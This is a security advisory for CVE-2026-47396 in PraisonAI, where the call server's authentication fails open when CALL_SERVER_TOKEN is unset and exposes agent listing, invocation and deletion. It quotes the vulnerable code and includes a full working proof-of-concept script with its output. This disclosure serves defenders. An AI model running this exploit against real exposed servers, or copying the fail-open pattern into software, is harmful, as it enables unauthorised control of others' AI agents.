praisonai
Affected
- introduced
0, fixed4.6.40(ecosystem)
Fixed versions
4.6.40
Fix
- Fixed version
4.6.40pip install --upgrade praisonai==4.6.40
Advisory
Also known as: CVE-2026-47396, GHSA-86qc-r5v2-v6x6
PraisonAI call server exposes unauthenticated agent listing, invocation, and deletion when CALL_SERVER_TOKEN is unset
Summary
PraisonAI's call server exposes a network-facing agent control API without authentication when CALL_SERVER_TOKEN is not configured.
The affected component is the praisonai.api.agent_invoke router as mounted by praisonai.api.call. The authentication helper verify_token() fails open when CALL_SERVER_TOKEN is unset. Since every sensitive agent-control endpoint depends on this helper, starting the call server without a token allows any reachable client to list agents, inspect agent metadata and instructions, invoke agents, and unregister agents.
This is security-relevant because the bundled call server includes the vulnerable router and binds to 0.0.0.0. As a result, operators who launch the call server without explicitly setting CALL_SERVER_TOKEN may unintentionally expose an unauthenticated remote agent control plane.
Details
The vulnerable behavior is caused by a fail-open authentication default.
In praisonai/api/agent_invoke.py, CALL_SERVER_TOKEN is read from the environment:
CALL_SERVER_TOKEN = os.getenv('CALL_SERVER_TOKEN')
The authentication dependency then returns successfully when the token is not configured:
async def verify_token(request: Request, authorization: Optional[str] = Header(None)) -> None:
if not FASTAPI_AVAILABLE or not CALL_SERVER_TOKEN:
return # No authentication if FastAPI unavailable or no token set
This means that the absence of CALL_SERVER_TOKEN disables authentication entirely.
The same helper is used by sensitive agent-control routes, including:
@router.post("/agents/{agent_id}/invoke")
async def invoke_agent(..., _: None = Depends(verify_token))
@router.get("/agents")
async def list_agents(_: None = Depends(verify_token))
@router.delete("/agents/{agent_id}")
async def unregister_agent_endpoint(agent_id: str, _: None = Depends(verify_token))
@router.get("/agents/{agent_id}")
async def get_agent_info(agent_id: str, _: None = Depends(verify_token))
These endpoints allow a caller to:
The vulnerable router is mounted by the call server:
from .agent_invoke import router as agent_invoke_router
app.include_router(agent_invoke_router)
The call server then listens on all interfaces:
uvicorn.run(app, host="0.0.0.0", port=port, log_level="warning")
Therefore, when praisonai-call is started without CALL_SERVER_TOKEN, the agent-control API becomes reachable without authentication from any client that can access the server.
PoC
The following local PoC imports the real praisonai.api.agent_invoke router from source, ensures CALL_SERVER_TOKEN is absent, registers a demo agent, mounts the router into a local FastAPI app, and sends unauthenticated requests to the vulnerable endpoints.
The PoC proves that, without sending any authentication material:
GET /api/v1/agents returns the list of registered agents.GET /api/v1/agents/{agent_id} exposes agent metadata and instructions.POST /api/v1/agents/{agent_id}/invoke executes the registered agent.DELETE /api/v1/agents/{agent_id} unregisters the agent.Run with:
PRAISONAI_REPO=/path/to/PraisonAI python -B embedded_poc.py
Full PoC:
#!/usr/bin/env python3
from __future__ import annotations
import os
import sys
from pathlib import Path
from types import SimpleNamespace
REPO_ROOT = Path(os.environ.get("PRAISONAI_REPO", "/path/to/PraisonAI")).resolve()
PRAISON_ROOT = REPO_ROOT / "src" / "praisonai"
def verify_source() -> None:
expected = {
PRAISON_ROOT / "praisonai/api/agent_invoke.py": [
"CALL_SERVER_TOKEN = os.getenv('CALL_SERVER_TOKEN')",
"if not FASTAPI_AVAILABLE or not CALL_SERVER_TOKEN:",
'@router.post("/agents/{agent_id}/invoke")',
'@router.get("/agents")',
'@router.delete("/agents/{agent_id}")',
'@router.get("/agents/{agent_id}")',
],
PRAISON_ROOT / "praisonai/api/call.py": [
"app.include_router(agent_invoke_router)",
'uvicorn.run(app, host="0.0.0.0", port=port, log_level="warning")',
],
}
for path, needles in expected.items():
if not path.exists():
raise RuntimeError(f"source verification failed: file not found: {path}")
text = path.read_text(encoding="utf-8")
for needle in needles:
if needle not in text:
raise RuntimeError(f"source verification failed: {needle!r} not found in {path}")
class DemoAgent:
name = "demo-agent"
instructions = "super-secret instructions"
tools = [SimpleNamespace(name="danger-tool")]
def start(self, message: str) -> str:
return f"echo:{message}"
def main() -> int:
verify_source()
os.environ.pop("CALL_SERVER_TOKEN", None)
sys.path.insert(0, str(PRAISON_ROOT))
from fastapi import FastAPI
from fastapi.testclient import TestClient
from praisonai.api.agent_invoke import CALL_SERVER_TOKEN, register_agent, router
app = FastAPI()
app.include_router(router)
register_agent("demo", DemoAgent())
client = TestClient(app)
list_resp = client.get("/api/v1/agents")
info_resp = client.get("/api/v1/agents/demo")
invoke_resp = client.post("/api/v1/agents/demo/invoke", json={"message": "hello"})
delete_resp = client.delete("/api/v1/agents/demo")
print(f"[poc] token_configured={bool(CALL_SERVER_TOKEN)}")
print(f"[poc] list_status={list_resp.status_code} body={list_resp.json()}")
print(f"[poc] info_status={info_resp.status_code} body={info_resp.json()}")
print(f"[poc] invoke_status={invoke_resp.status_code} body={invoke_resp.json()}")
print(f"[poc] delete_status={delete_resp.status_code} body={delete_resp.json()}")
if CALL_SERVER_TOKEN:
raise SystemExit("[poc] MISS: CALL_SERVER_TOKEN unexpectedly set in test process")
if list_resp.status_code != 200 or "demo" not in list_resp.json().get("agents", []):
raise SystemExit("[poc] MISS: unauthenticated agent listing failed")
if info_resp.status_code != 200 or info_resp.json().get("instructions") != "super-secret instructions":
raise SystemExit("[poc] MISS: unauthenticated agent info leak failed")
if invoke_resp.status_code != 200 or invoke_resp.json().get("result" ) != "echo:hello":
raise SystemExit("[poc] MISS: unauthenticated agent invocation failed")
if delete_resp.status_code != 200:
raise SystemExit("[poc] MISS: unauthenticated agent unregister failed")
print("[poc] HIT: unauthenticated caller listed, inspected, invoked, and unregistered the demo agent")
return 0
if __name__ == "__main__":
raise SystemExit(main())
Observed result:
[poc] token_configured=False
[poc] list_status=200 body={'agents': ['demo'], 'count': 1, 'status': 'success'}
[poc] info_status=200 body={'agent_id': 'demo', 'status': 'registered', 'type': 'DemoAgent', 'name': 'demo-agent', 'instructions': 'super-secret instructions', 'tools': ['danger-tool']}
[poc] invoke_status=200 body={'result': 'echo:hello', 'session_id': 'default', 'status': 'success', 'metadata': {'agent_id': 'demo', 'message_length': 5, 'response_length': 10}}
[poc] delete_status=200 body={'message': "Agent 'demo' unregistered successfully", 'status': 'success'}
[poc] HIT: unauthenticated caller listed, inspected, invoked, and unregistered the demo agentCritical Basis: CVSS v3 score 9.8, vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
0, fixed 4.6.40 (ecosystem)4.6.40
4.6.40pip install --upgrade praisonai==4.6.40Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.
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Source: PyPA Advisory Database · CC BY 4.0